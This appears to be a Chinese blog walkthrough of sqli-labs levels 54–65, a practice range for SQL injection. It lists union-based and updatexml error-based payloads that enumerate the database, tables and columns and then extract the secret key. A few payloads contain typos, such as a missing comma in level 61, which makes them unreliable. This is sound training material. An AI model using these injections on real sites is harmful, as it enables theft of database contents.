资讯详情

sql-lab (54-65)

(54~60)

sql-lab-54

从54关开始,关卡很难开始

54级只允许我们输入10个句子。当10个句子时,靶场将刷新所有库名、表名和列名。因此,从此开始,所有句子仅供参考。

第一步是判断闭合方式:

id=1 'and 1=2 --q

页面报错,所以闭合方式是 单引号

第二步是判断禁用关键词

第三步 判断注入句子的构造思路

  • 应该是页面的回显,所以使用联合查询

    ?id=-1’ union select 1,2,database() – q

发现库名为:challenges

?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q

发现表名为:ufka71dqts

?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘ufka71dqts’-- q

发现列名为:id,sessid,secret_JZU6,tryy

?id=-1 ’ union select 1,secret_JZU6,3 from ufka71dqts – q

查询成功,提交我们的查询结果:Submit Secret Key

成功闯关!

sql-lab-55

判断闭合,判断闭合,id=1)and 1=1-- q

发现闭合模式为 括号

判断注入句子的构造思路

  • 应该是页面的回显,所以使用联合查询

    ?id=-1)union select 1,2,database() – q

发现库名为:challenges

?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q

发现表名为:qbj8tdrlxb

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘qbj8tdrlxb’-- q

发现列名为:id,sessid,secret_N7EM,tryy

?id=-1 )union select 1,secret_N7EM,3 from qbj8tdrlxb – q

查询成功,提交我们的查询结果:Submit Secret Key

成功闯关!

sql-lab-56

判断闭合,判断闭合,id=1’)and 1=1-- q

判断注入句子的构造思路

  • 应该是页面的回显,所以使用联合查询

    ?id=-1’) union select 1,2,database() – q

发现库名为:challenges

?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q

发现表名为:okzcd5g9co

?id=-1’)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘okzcd5g9co’-- q

发现列名为:id,sessid,secret_W8S8,tryy

?id=-1’)union select 1,secret_W8S8,3 from okzcd5g9co – q

查询成功,提交我们的查询结果:Submit Secret Key

成功闯关!


sql-lab-57

除了闭合的方式,这个问题和前面的问题是一样的

判断闭合,判断闭合,id=1"and 1=1-- q


sql-lab-58

首先判断闭合,id=1’ and 1=1 – q

然后使用联合查询发现不能使用,然后注入。

?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

发现库名为:challenges

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

发现表名为:20lvmztx1r

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘20lvmztx1r’ limit 0,1),0x7e),1)-- q

发现列名为:id,sessid,secret_X8WY,tryy

id=1’ and updatexml(1,concat(0x7e,(select secret_X8WY from 20lvmztx1r limit 0,1),0x7e),1)-- q

查询成功,

成功闯关!


sql-lab-59

?id=1 and 1=2-- q

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fjwx950mdd’ limit 0,1),0x7e),1)-- q

id=1 and updatexml(1,concat(0x7e,(select secret_Z2BD from fjwx950mdd limit 0,1),0x7e),1)-- q


sql-lab-60

?id=1")and 1=2-- q

?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

?id=1") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘hmguhc8wji’ limit 0,1),0x7e),1)-- q

id=1") and updatexml(1,concat(0x7e,(select secret_0LPA from hmguhc8wji limit 0,1),0x7e),1)-- q


(61~65)

spl-lab-61

?id=1’))and 1=1-- q

?id=1’)) and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

?id=1’)) and updatexml(1concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

?id=1’)) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘qd5l9mppz3’ limit 0,1),0x7e),1)-- q

?id=1’)) and updatexml(1,concat(0x7e,(select secret_ZHCO from qd5l9mppz3 limit 0,1),0x7e),1)-- q


sql-lab-62~65

在这道题我们发现联合查询和报错注入什么都不能用什么都不能用

先判断闭合方式:

?id=1’)and 1=1-- q

然后使用盲注

建议写盲注脚本解决。

自此sql-lab算是告一段落

标签: 轴向位移胀差变送器qbj

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台